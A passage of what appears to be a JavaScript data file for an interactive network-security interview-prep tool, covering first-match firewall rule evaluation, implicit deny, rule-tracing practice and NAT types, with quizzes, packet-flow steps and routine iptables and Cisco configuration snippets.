10.0.0.0/24 -> Server:443`,whatIsHappening:`Rule 1 matches 10.0.0.25 because it falls inside 10.0.0.0/24 subnet.`,interviewTakeaway:`Rule 1 is the first rule evaluated in sequence.`},{id:9,label:`FIRST MATCH WINS: Processing Halts Immediately`,badge:`First Match Wins`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1 Winner: Evaluation STOPPED`,whatIsHappening:`The firewall enforces Rule 1 immediately and terminates evaluation.`,interviewTakeaway:`Firewalls NEVER check subsequent rules after finding the first match.`},{id:10,label:`Rules 2 & 3 Visually Disabled / Faded`,badge:`Rules Faded Out`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Rules 2 & 3 are completely ignored and never evaluated.`,interviewTakeaway:`Lower conflicting rules have zero effect on the decision.`},{id:11,label:`Action ALLOW: Packet Forwards to Server`,badge:`Forwarding`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Packet physically leaves firewall and travels to destination server.`,interviewTakeaway:`Permitted packet reaches destination based purely on Rule 1.`},{id:12,label:`Server Receives Packet Successfully`,badge:`Delivered ✓`,activeNodes:[`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Server receives packet. First-Match principle proved: Rule 1 ALLOW prevails.`,interviewTakeaway:`First-match semantics dictate that order in the rulebase determines the verdict.`}]},{id:9,categoryId:`acl-rules`,category:`ACL & Firewall Rules`,title:`What is an implicit deny rule, and why is it important?`,subtitle:`Learn the Zero Trust principle behind default deny at the end of every security rulebase.`,visualType:`implicit-deny`,elevatorPitch:'An implicit deny is an invisible, default rule automatically placed at the very end of every firewall ACL or security policy (`DENY ALL ALL`). If a packet does not match any explicit permit rule in the rulebase, it is automatically dropped. It enforces the fundamental security principle of "Default Deny / Zero Trust".',deepDive:[`**Whitelisting vs Blacklisting:** Implicit deny ensures a "Whitelisting" (Default Deny) posture where only explicitly permitted traffic is allowed, rather than a dangerous "Blacklisting" (Default Allow) posture.`,`**Zero Trust Foundation:** In modern Zero Trust Architecture (ZTA), trust is never assumed. Unidentified or unclassified traffic must be rejected by default.`,"**Explicit Deny Logging:** While the implicit deny silently drops packets without always generating syslogs, network engineers often add an explicit `DENY ANY ANY log` rule at the very bottom to capture drop telemetry for incident detection."],realWorldScenario:`An engineer opened ports for a new microservice but forgot to lock down the rest of the subnet. Because the firewall ended in an implicit deny, all unauthorized ports remained completely closed and inaccessible to external scanners.`,commonTrap:`Some firewalls (like AWS Security Groups) do not show the implicit deny rule in the GUI, but it is always active. Contrast Security Groups (implicit deny by default, stateful) with Network ACLs (explicit numbered rules, stateless).`,cliSnippets:[{label:`Explicit Bottom Rule for Logging (Best Practice)`,code:`# Final rule to record all dropped traffic in SIEM
Rule 9999: DENY Source: ANY Dest: ANY Protocol: ANY Action: DROP LOG`}],keyTakeaways:[`Implicit deny is the default fallback rule at the bottom of every rulebase.`,`Enforces the Principle of Least Privilege and Zero Trust (Default Deny).`,`Any packet that fails to match an explicit rule is dropped.`],quiz:{question:`Why do security engineers often add an explicit "DENY ANY ANY log" rule at the bottom of an ACL?`,options:[`Because without it, firewalls will allow all unmatched traffic by default.`,`To generate log telemetry and audit trails for unauthorized or malicious connection attempts.`,`To speed up CPU processing of previous rules.`,`To convert the firewall into a stateless bridge.`],correctIndex:1,explanation:`While the implicit deny automatically drops unmatched traffic, adding an explicit rule with the "log" parameter ensures that dropped packets trigger syslog events, helping SOC analysts detect port scans and recon activity.`},steps:[{id:1,label:`Network Topology Initialized (Client Only)`,badge:`Client Origin`,activeNodes:[`client`],packetInfo:{srcIp:`198.51.100.77`,dstIp:`10.0.1.20`,dstPort:8443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`An external client initiates a connection on unknown TCP port 8443.`,interviewTakeaway:`Traffic arrives on a port that is not part of standard permitted services.`},{id:2,label:`Firewall Gateway Online with Standard Web ACL`,badge:`Web Rules Loaded`,activeNodes:[`client`,`firewall-scan`],packetInfo:{srcIp:`198.51.100.77`,dstIp:`10.0.1.20`,dstPort:8443,protocol:`TCP`},whatIsHappening:`Firewall policy contains explicit rules: Rule 1 (HTTP :80) and Rule 2 (HTTPS :443).`,interviewTakeaway:`The rulebase defines explicit permit statements for standard web traffic.`},{id:3,label:`Target Internal Server Connected`,badge:`Target Server`,activeNodes:[`client`,`firewall-scan`,`server`],packetInfo:{srcIp:`198.51.100.77`,dstIp:`10.0.1.20`,dstPort:8443,protocol:`TCP`},whatIsHappening:`Internal Web Server (10.0.1.20) is connected behind the firewall perimeter.`,interviewTakeaway:`Firewall shields internal resources from unauthorized port access.`},{id:4,label:`Unknown Port 8443 Packet Transits to Firewall`,badge:`In Transit`,activeNodes:[`client`,`firewall-scan`],packetInfo:{srcIp:`198.51.100.77`,dstIp:`10.0.1.20`,dstPort:8443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet on port 8443 reaches the firewall ingress buffer for policy evaluation.`,interviewTakeaway:`Firewall buffers the frame and extracts the 5-tuple header.`},{id:5,label:`Rule 1 Evaluation (HTTP :80) — NO MATCH ✕`,badge:`Rule 1 Failed`,activeNodes:[`firewall-scan`],packetInfo:{srcIp:`198.51.100.77`,dstIp:`10.0.1.20`,dstPort:8443,protocol:`TCP`},activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`Firewall tests Rule 1 (Port 80). Match fails because incoming port is 8443.`,interviewTakeaway:`Evaluation proceeds to the next rule in sequence.`},{id:6,label:`Rule 2 Evaluation (HTTPS :443) — NO MATCH ✕`,badge:`Rule 2 Failed`,activeNodes:[`firewall-scan`],packetInfo:{srcIp:`198.51.100.77`,dstIp:`10.0.1.20`,dstPort:8443,protocol:`TCP`},activeRuleIndex:1,decision:`INSPECT`,whatIsHappening:`Firewall tests Rule 2 (Port 443). Match fails because incoming port is 8443.`,interviewTakeaway:`All explicit permit rules have been exhausted without finding a match.`},{id:7,label:`End of Rulebase: IMPLICIT DENY Activates`,badge:`Implicit Deny Triggered`,activeNodes:[`firewall-drop`],activeRuleIndex:2,decision:`DROP`,ruleMatched:`Default Rule: IMPLICIT DENY ALL`,whatIsHappening:`Packet falls off the end of the rule list. The default Implicit Deny rule triggers a DROP action.`,interviewTakeaway:`Default Deny guarantees that unspecified ports remain closed by default.`},{id:8,label:`Packet Visibly Halted & Blocked at Firewall (Server Safe)`,badge:`✕ BLOCKED AT FW`,activeNodes:[`firewall-drop`],decision:`DROP`,whatIsHappening:`Packet is visibly stopped and discarded at the firewall boundary. Server receives zero unauthorized traffic.`,interviewTakeaway:`Zero Trust architecture enforces strict Default Deny protection.`}]},{id:10,categoryId:`acl-rules`,category:`ACL & Firewall Rules`,title:`Given a set of firewall rules and a packet, can you determine which rule will match and whether the packet will be allowed or denied?`,subtitle:`Interactive packet decision practice: test your ability to trace 5-tuples through live rule sets.`,visualType:`scenario-simulator`,elevatorPitch:`To determine whether a packet is allowed or denied: 1) Extract the packet 5-tuple (Src IP, Dst IP, Protocol, Src Port, Dst Port), 2) Iterate through the rule list starting at Rule 1, 3) Check if every criteria in the rule matches the packet, 4) The first rule where all parameters match dictates the ALLOW or DENY outcome, 5) If no rule matches, it falls through to Implicit Deny.`,deepDive:[`**5-Tuple Extraction:** Identify Source IP/Subnet, Destination IP/Subnet, Layer 4 Protocol (TCP/UDP/ICMP), and Destination Port.`,"**Subnet Mask Evaluation:** Verify if the IP is inside CIDR notation (e.g., 10.0.0.25 is inside `10.0.0.0/24`, but 10.0.1.25 is NOT).",`**Port Matching:** Check if the destination port matches the rule (e.g., port 443 HTTPS vs port 80 HTTP).`,`**Action Execution:** Record the exact rule number and action for interview explanation.`],realWorldScenario:`In technical interviews, interviewers frequently present a 4-rule table on a whiteboard and give you 3 different packet test cases to evaluate on the spot. Precision and step-by-step vocal reasoning win top marks.`,commonTrap:`Look out for source port vs destination port! Rules typically match Destination Port (e.g., 443). If a rule states "Source Port 443", it will NOT match a client whose ephemeral source port is 51000.`,cliSnippets:[{label:`Interview Whiteboard Scenario Table`,code:`Rule 1: ALLOW  Src: 10.0.0.0/24  Dst: Server  Port: 443
Rule 2: DENY   Src: ANY          Dst: Server  Port: 443
Rule 3: ALLOW  Src: ANY          Dst: Server  Port: 80
Default: IMPLICIT DENY`}],keyTakeaways:[`Extract the packet 5-tuple accurately.`,`Check rules sequentially from Rule 1 downward.`,`Verify CIDR subnet boundaries and destination port numbers.`,`The first matching rule determines the final verdict.`],quiz:{question:`Given: Rule 1: ALLOW 10.0.0.0/24 -> 443; Rule 2: DENY ANY -> 443; Rule 3: ALLOW ANY -> 80. Packet: Src 10.0.1.50, Dst Server, Port 443. What is the result?`,options:[`ALLOWED by Rule 1`,`DENIED by Rule 2`,`ALLOWED by Rule 3`,`DENIED by Implicit Deny`],correctIndex:1,explanation:`Src 10.0.1.50 does not match Rule 1 (10.0.0.0/24 subnet). It moves to Rule 2, which matches ANY source to port 443 with a DENY action. Result: DENIED by Rule 2.`},steps:[{id:1,label:`Case 1 Ingress: Candidate Packet Created (10.0.0.25 on :443)`,badge:`Case 1: 10.0.0.25`,activeNodes:[`sim-client-1`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.100`,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet 1 arrives with Source: 10.0.0.25 and Destination Port: 443.`,interviewTakeaway:`Evaluate against Rule 1 first: 10.0.0.25 falls inside 10.0.0.0/24 subnet.`},{id:2,label:`Case 1 Transits to Firewall`,badge:`Case 1 Transit`,activeNodes:[`sim-client-1`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.100`,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet 1 travels to firewall ingress buffer.`,interviewTakeaway:`Headers are extracted and matched against the rulebase.`},{id:3,label:`Case 1 Evaluated: Rule 1 Matched (ALLOWED ✓)`,badge:`Case 1 Allowed ✓`,activeNodes:[`sim-client-1`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.100`,dstPort:443,protocol:`TCP`},activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW 10.0.0.0/24 -> Server:443`,whatIsHappening:`Matches Rule 1 immediately. Forwarded to Server. Case 1 Result: ALLOWED ✓.`,interviewTakeaway:`First match terminates evaluation with ALLOW.`},{id:4,label:`Case 2 Ingress: Candidate Packet Created (10.0.1.50 on :443)`,badge:`Case 2: 10.0.1.50`,activeNodes:[`sim-client-2`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`192.168.1.100`,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet 2 arrives with Source: 10.0.1.50 and Destination Port: 443.`,interviewTakeaway:`Notice that 10.0.1.50 does NOT belong to 10.0.0.0/24 subnet.`},{id:5,label:`Case 2 Transits to Firewall`,badge:`Case 2 Transit`,activeNodes:[`sim-client-2`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`192.168.1.100`,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet 2 reaches firewall for sequential rule inspection.`,interviewTakeaway:`Firewall compares headers against Rule 1 then Rule 2.`},{id:6,label:`Case 2 Evaluated: Rule 2 Matched (DENIED ✕)`,badge:`Case 2 Denied ✕`,activeNodes:[`sim-client-2`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`192.168.1.100`,dstPort:443,protocol:`TCP`},activeRuleIndex:1,decision:`DENY`,ruleMatched:`Rule 2: DENY ANY -> Server:443`,whatIsHappening:`Fails Rule 1 subnet check; matches Rule 2 (DENY ANY on 443). Case 2 Result: DENIED ✕.`,interviewTakeaway:`Broad deny rule at Rule 2 catches and drops the traffic.`},{id:7,label:`Case 3 Ingress: Candidate Packet Created (172.16.5.9 on :80)`,badge:`Case 3: Port 80`,activeNodes:[`sim-client-3`],packetInfo:{srcIp:`172.16.5.9`,dstIp:`192.168.1.100`,dstPort:80,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet 3 arrives on HTTP port 80 from source 172.16.5.9.`,interviewTakeaway:`Port 80 traffic bypasses port 443 rules and moves to Rule 3.`},{id:8,label:`Case 3 Transits to Firewall`,badge:`Case 3 Transit`,activeNodes:[`sim-client-3`],packetInfo:{srcIp:`172.16.5.9`,dstIp:`192.168.1.100`,dstPort:80,protocol:`TCP`},whatIsHappening:`Packet 3 reaches firewall and begins top-down rule evaluation.`,interviewTakeaway:`Rules 1 and 2 check for port 443 and fail.`},{id:9,label:`Case 3 Evaluated: Rule 3 Matched (ALLOWED ✓)`,badge:`Case 3 Allowed ✓`,activeNodes:[`sim-client-3`],packetInfo:{srcIp:`172.16.5.9`,dstIp:`192.168.1.100`,dstPort:80,protocol:`TCP`},activeRuleIndex:2,decision:`ALLOW`,ruleMatched:`Rule 3: ALLOW ANY -> Server:80`,whatIsHappening:`Matches Rule 3 (ALLOW ANY on 80). Forwarded to Server. Case 3 Result: ALLOWED ✓.`,interviewTakeaway:`Deterministic evaluation correctly categorizes all 3 whiteboard test cases.`}]},{id:11,categoryId:`nat`,category:`NAT (Network Address Translation)`,title:`What is NAT, and why is it used in network security?`,subtitle:`Understand IP address translation, RFC 1918 private subnets, and internal topology shielding.`,visualType:`nat-translation`,elevatorPitch:`NAT (Network Address Translation) is a networking method that rewrites source or destination IP addresses (and ports) in packet headers as they traverse a router or firewall. It was primarily developed to conserve IPv4 public address space (RFC 1918) and provides a security benefit by shielding internal IP topologies from the public Internet.`,deepDive:["**IPv4 Conservation:** Enables thousands of internal private devices (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`) to share a single routable public IPv4 address.",`**Topology Hiding / Network Obfuscation:** External Internet hosts only see the firewall's public IP. Direct inbound connections to internal endpoints are impossible without an explicit state entry or port-forwarding rule.`,"**NAT Table Tracking:** The NAT gateway maintains a stateful translation table mapping `Internal Private IP:Port` <-> `Public IP:NAT_Port`.",`**Security Clarification:** NAT is NOT a substitute for a firewall. NAT translates addresses; firewalls enforce security access policy.`],realWorldScenario:`In a corporate office with 500 laptops on 192.168.1.0/24, all laptops browse the Internet simultaneously through a single public IP 203.0.113.10 using PAT (NAT Overload).`,commonTrap:`Never claim "NAT is a firewall." While NAT obscures internal IPs, it lacks packet inspection, rule policy controls, and malware detection.`,cliSnippets:[{label:`Linux iptables Source NAT (MASQUERADE)`,code:`iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j MASQUERADE`},{label:`Cisco IOS PAT Configuration`,code:`ip nat inside source list 1 interface GigabitEthernet0/0 overload
access-list 1 permit 192.168.1.0 0.0.0.255`}],keyTakeaways:[`Translates private RFC 1918 IPs into public routable IPs.`,`Hides internal network addressing and device topology.`,`Maintains a translation table mapping internal ports to public NAT ports.`,`Complements firewalls but does not replace security policy inspection.`],quiz:{question:`Which RFC defines the private IPv4 address ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)?`,options:[`RFC 791`,`RFC 1918`,`RFC 2616`,`RFC 5246`],correctIndex:1,explanation:`RFC 1918 allocates the three standard private IPv4 address blocks for internal networks that are not routable on the public Internet without NAT.`},steps:[{id:1,label:`Private Host Initialized (192.168.1.10)`,badge:`Private Local`,activeNodes:[`nat-client`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`},whatIsHappening:`Internal host 192.168.1.10 is initialized on the private RFC 1918 network segment.`,interviewTakeaway:`Private IP addresses (192.168.0.0/16) cannot be directly routed across the public Internet.`},{id:2,label:`NAT Gateway Established`,badge:`NAT Perimeter`,activeNodes:[`nat-client`,`nat-router`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`},whatIsHappening:`NAT Router Gateway connects the private LAN to the WAN perimeter.`,interviewTakeaway:`The NAT gateway bridges private and public address domains.`},{id:3,label:`Public Internet Network Connected`,badge:`Public WAN`,activeNodes:[`nat-client`,`nat-router`,`internet`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`},whatIsHappening:`The public Internet / WAN zone is established on the egress side of the NAT router.`,interviewTakeaway:`Internet routing requires globally unique public IPv4 addresses.`},{id:4,label:`Remote Web Server Connected`,badge:`Web Server`,activeNodes:[`nat-client`,`nat-router`,`internet`,`nat-server`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`},whatIsHappening:`Remote Destination Server (198.51.100.20:443) is connected to the public WAN.`,interviewTakeaway:`The complete physical path from private client to public server is online.`},{id:5,label:`Outbound Packet Created (Private 5-Tuple)`,badge:`Outbound SYN`,activeNodes:[`nat-client`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Client creates an outbound TCP SYN packet with Inside Local source: 192.168.1.10:5001.`,interviewTakeaway:`Outbound packets carry RFC 1918 private source IP and ephemeral port.`},{id:6,label:`Outbound Packet Transits: Client → NAT`,badge:`Private Transit`,activeNodes:[`nat-client`,`nat-router`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet travels across the internal network towards the NAT Gateway.`,interviewTakeaway:`Traffic in transit retains its private source IP inside the perimeter.`},{id:7,label:`NAT Gateway Receives Private Packet`,badge:`Inside Local`,activeNodes:[`nat-router`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`NAT gateway inspects private source 192.168.1.10:5001 before egress.`,interviewTakeaway:`The NAT router prepares to map the private session into a public IP.`},{id:8,label:`NAT Translation Table Session Created`,badge:`NAT Table Entry`,activeNodes:[`nat-router`],natTable:[{insideLocal:`192.168.1.10:5001`,insideGlobal:`203.0.113.10:5001`,outsideGlobal:`198.51.100.20:443`,protocol:`TCP`}],decision:`TRANSLATE`,whatIsHappening:`NAT Table allocates Inside Global public IP 203.0.113.10:5001 for this session.`,interviewTakeaway:`The NAT table logs the binding so return traffic can be mapped back accurately.`},{id:9,label:`Source IP Translated: 192.168.1.10 → 203.0.113.10`,badge:`SNAT Applied ✓`,activeNodes:[`nat-router`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`TRANSLATE`,whatIsHappening:`NAT gateway rewrites Source IP header to public 203.0.113.10:5001.`,interviewTakeaway:`Source NAT (SNAT) replaces the private IP with the routable public IP.`},{id:10,label:`Translated Packet Transits: NAT → Internet`,badge:`Public Transit`,activeNodes:[`nat-router`,`internet`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Translated packet with public IP 203.0.113.10 travels across the Internet.`,interviewTakeaway:`Only public IPs are visible to outside transit routers.`},{id:11,label:`Packet Reaches Remote Web Server`,badge:`Ingress at Server`,activeNodes:[`internet`,`nat-server`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Packet reaches the web server. The server sees the source as public IP 203.0.113.10.`,interviewTakeaway:`Internal private topology is completely shielded from the web server.`},{id:12,label:`Server Receives Request (Outbound Trip Complete)`,badge:`Request Received ✓`,activeNodes:[`nat-server`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`198.51.100.20`,srcPort:5001,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Web server processes SYN request and prepares TCP SYN-ACK reply.`,interviewTakeaway:`Outbound flow successfully completed with full network obfuscation.`},{id:13,label:`Server Sends Return Reply Packet`,badge:`Reply Created`,activeNodes:[`nat-server`],packetInfo:{srcIp:`198.51.100.20`,dstIp:`203.0.113.10`,srcPort:443,dstPort:5001,protocol:`TCP`,flags:`SYN-ACK`},decision:`ALLOW`,whatIsHappening:`Web server sends reply addressed to destination: 203.0.113.10:5001.`,interviewTakeaway:`Return traffic is addressed to the NAT gateway’s public IP.`},{id:14,label:`Return Packet Transits: Server → Internet`,badge:`Return Transit`,activeNodes:[`nat-server`,`internet`],packetInfo:{srcIp:`198.51.100.20`,dstIp:`203.0.113.10`,srcPort:443,dstPort:5001,protocol:`TCP`,flags:`SYN-ACK`},decision:`ALLOW`,whatIsHappening:`Reply packet travels across the public Internet towards the NAT gateway.`,interviewTakeaway:`Public routing delivers the response to the perimeter gateway.`},{id:15,label:`Return Packet Reaches NAT Gateway`,badge:`NAT Ingress`,activeNodes:[`nat-router`],packetInfo:{srcIp:`198.51.100.20`,dstIp:`203.0.113.10`,srcPort:443,dstPort:5001,protocol:`TCP`,flags:`SYN-ACK`},decision:`INSPECT`,whatIsHappening:`NAT Gateway intercepts incoming response on port 5001.`,interviewTakeaway:`Perimeter gateway receives the return packet for destination de-NAT.`},{id:16,label:`NAT Table Lookup: Reverse De-NAT Translation`,badge:`De-NAT Lookup`,activeNodes:[`nat-router`],natTable:[{insideLocal:`192.168.1.10:5001`,insideGlobal:`203.0.113.10:5001`,outsideGlobal:`198.51.100.20:443`,protocol:`TCP`}],decision:`TRANSLATE`,whatIsHappening:`NAT gateway matches port 5001 in NAT table and rewrites Destination to 192.168.1.10:5001.`,interviewTakeaway:`Reverse translation redirects the packet to the original private host.`},{id:17,label:`Response Packet Transits: NAT → Client`,badge:`Private Inbound`,activeNodes:[`nat-router`,`nat-client`],packetInfo:{srcIp:`198.51.100.20`,dstIp:`192.168.1.10`,srcPort:443,dstPort:5001,protocol:`TCP`,flags:`SYN-ACK`},decision:`ALLOW`,whatIsHappening:`De-NATed packet travels across local network to internal host 192.168.1.10.`,interviewTakeaway:`Local switching delivers the frame to the initiating endpoint.`},{id:18,label:`Client Receives Response (Full Round-Trip Complete)`,badge:`Round-Trip Complete ✓`,activeNodes:[`nat-client`],packetInfo:{srcIp:`198.51.100.20`,dstIp:`192.168.1.10`,srcPort:443,dstPort:5001,protocol:`TCP`,flags:`SYN-ACK`},decision:`ALLOW`,whatIsHappening:`Client receives SYN-ACK response seamlessly. NAT round-trip successful!`,interviewTakeaway:`Full round trip: Private Client ↔ NAT Gateway ↔ Internet ↔ Remote Server.`}]},{id:12,categoryId:`nat`,category:`NAT (Network Address Translation)`,title:`What is the difference between Static NAT, Dynamic NAT, PAT, and DNAT?`,subtitle:`Compare 1:1 mappings, dynamic IP pools, Port Address Translation (Overload), and Destination Port Forwarding.`,visualType:`nat-types`,elevatorPitch:`Static NAT provides a 1-to-1 permanent mapping between a private IP and a public IP (commonly used for web/mail servers). Dynamic NAT maps private IPs to a pool of available public IPs on a first-come, first-served basis. PAT (Port Address Translation / NAT Overload) maps many private IPs to a single public IP using unique Layer 4 port numbers. DNAT (Destination NAT / Port Forwarding) rewrites the destination IP of incoming public packets to route external requests to an internal server.`,deepDive:[`**Static NAT (1:1):** Dedicated public IP for an internal host. Supports both inbound and outbound initiated connections.`,`**Dynamic NAT (M:N):** Pool of public IPs. When all public IPs in the pool are checked out, additional internal hosts are blocked until an existing session expires.`,`**PAT (Port Address Translation / NAT Overload):** Maps thousands of private IPs to one public IP by tracking unique 16-bit source ports (up to ~64,000 concurrent sessions per IP). Standard in home routers and enterprise egress.`,"**DNAT (Destination NAT / Port Forwarding):** External users hit `Public_IP:443`, and the firewall rewrites the Destination IP to internal web server `10.0.2.100:443`."],realWorldScenario:"An organization hosts a public web application. They configure DNAT: incoming traffic on `203.0.113.25:443` is translated to internal DMZ server `172.16.10.5:8443`.",commonTrap:`Remember Cisco terminology: Inside Local (private IP), Inside Global (public IP allocated to inside host), Outside Local (destination IP as seen from inside), Outside Global (real public destination IP).`,cliSnippets:[{label:`Cisco Static NAT (1:1)`,code:`ip nat inside source static 192.168.1.10 203.0.113.15`},{label:`Linux iptables DNAT (Port Forwarding)`,code:`iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.50:8080`}],keyTakeaways:[`Static NAT: 1 Private IP <-> 1 Public IP (Bi-directional).`,`Dynamic NAT: Multiple Private IPs <-> Pool of Public IPs (First-come).`,`PAT (Overload): Many Private IPs <-> 1 Public IP (Uses Port Multiplexing).`,`DNAT: Rewrites Destination IP (Inbound Web Server Port Forwarding).`],quiz:{question:`Which NAT type allows thousands of internal corporate devices to access the Internet using only a single public IPv4 address?`,options:[`Static NAT`,`Dynamic NAT without overload`,`PAT (Port Address Translation / NAT Overload)`,`Carrier-Grade 1:1 NAT`],correctIndex:2,explanation:`PAT (Port Address Translation / NAT Overload) tracks unique Layer 4 port numbers for each outbound session, allowing thousands of devices to share one public IP simultaneously.`},steps:[{id:1,label:`Static NAT: Internal Server Initialized (10.0.0.10)`,badge:`Static (1:1)`,activeNodes:[`nat-static`],packetInfo:{srcIp:`10.0.0.10`,dstIp:`198.51.100.2`,srcPort:443,dstPort:443,protocol:`TCP`},whatIsHappening:`Internal DMZ Server 10.0.0.10 is initialized for hosting public services.`,interviewTakeaway:`Static NAT is designed for servers requiring consistent reachability.`},{id:2,label:`Static NAT: Gateway & Public Destination Connected`,badge:`Dedicated Public IP`,activeNodes:[`nat-static`],packetInfo:{srcIp:`10.0.0.10`,dstIp:`198.51.100.2`,srcPort:443,dstPort:443,protocol:`TCP`},whatIsHappening:`Static NAT Gateway binds permanent Public IP 203.0.113.20 to internal 10.0.0.10.`,interviewTakeaway:`Static NAT provides permanent 1-to-1 bidirectional mapping.`},{id:3,label:`Static NAT: Dedicated 1:1 Mapping (10.0.0.10 ↔ 203.0.113.20)`,badge:`Fixed 1:1 Map`,activeNodes:[`nat-static`],natTable:[{insideLocal:`10.0.0.10`,insideGlobal:`203.0.113.20`,outsideGlobal:`198.51.100.2:443`,protocol:`TCP`}],decision:`TRANSLATE`,whatIsHappening:`Static mapping table entry is permanent and never expires.`,interviewTakeaway:`Both inbound and outbound connections always use this dedicated public IP.`},{id:4,label:`Static NAT: Packet Moves & 1:1 Translation Delivers to Server`,badge:`Static Complete ✓`,activeNodes:[`nat-static`],packetInfo:{srcIp:`203.0.113.20`,dstIp:`198.51.100.2`,srcPort:443,dstPort:443,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Packet translates to 203.0.113.20 and delivers to server. Static NAT complete!`,interviewTakeaway:`Static NAT is mandatory for hosting public-facing web/mail/DNS servers.`},{id:5,label:`Dynamic NAT: Private Client & Public IP Pool Connected`,badge:`Dynamic Pool (M:N)`,activeNodes:[`nat-dynamic`],packetInfo:{srcIp:`10.0.1.15`,dstIp:`198.51.100.2`,srcPort:52100,dstPort:80,protocol:`TCP`},whatIsHappening:`Internal host 10.0.1.15 connects to NAT router with public IP pool: 203.0.113.50 - 203.0.113.60.`,interviewTakeaway:`Dynamic NAT uses a pool of public IPs on a first-come, first-served basis.`},{id:6,label:`Dynamic NAT: Packet Transits to NAT Gateway`,badge:`Pool Allocation`,activeNodes:[`nat-dynamic`],packetInfo:{srcIp:`10.0.1.15`,dstIp:`198.51.100.2`,srcPort:52100,dstPort:80,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:`Packet reaches NAT gateway requesting an available public IP from pool.`,interviewTakeaway:`If the IP pool is exhausted, new connections are blocked until sessions close.`},{id:7,label:`Dynamic NAT: NAT Allocates Available Public IP (203.0.113.51)`,badge:`IP Allocated ✓`,activeNodes:[`nat-dynamic`],packetInfo:{srcIp:`203.0.113.51`,dstIp:`198.51.100.2`,srcPort:52100,dstPort:80,protocol:`TCP`},decision:`TRANSLATE`,whatIsHappening:`NAT allocates next available IP 203.0.113.51 to host 10.0.1.15.`,interviewTakeaway:`Dynamic NAT assigns a dedicated public IP for the active session duration.`},{id:8,label:`Dynamic NAT: Translated Packet Delivered to Destination Server`,badge:`Dynamic Complete ✓`,activeNodes:[`nat-dynamic`],packetInfo:{srcIp:`203.0.113.51`,dstIp:`198.51.100.2`,srcPort:52100,dstPort:80,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Translated packet delivers to destination. Dynamic NAT process complete!`,interviewTakeaway:`Dynamic NAT does not conserve IPv4 well because each host consumes a full IP.`},{id:9,label:`PAT (Overload): 3 Internal Clients Initialized with Unique Ports`,badge:`PAT (Many:1)`,activeNodes:[`nat-pat`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`93.184.216.34`,srcPort:5001,dstPort:443,protocol:`TCP`},whatIsHappening:`3 private clients (192.168.1.10:5001, 1.11:5002, 1.12:5003) initiate web requests.`,interviewTakeaway:`Port Address Translation (PAT) maps multiple private IPs to ONE public IP using unique ports.`},{id:10,label:`PAT: Packets Transit to NAT Gateway`,badge:`Port Multiplexing`,activeNodes:[`nat-pat`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`93.184.216.34`,srcPort:5001,dstPort:443,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:`All 3 clients send packets simultaneously to the PAT gateway.`,interviewTakeaway:`PAT multiplexes thousands of sessions onto a single public IP.`},{id:11,label:`PAT: Single Public IP (203.0.113.1) Multiplexed Across Unique Ports`,badge:`Unique Ports 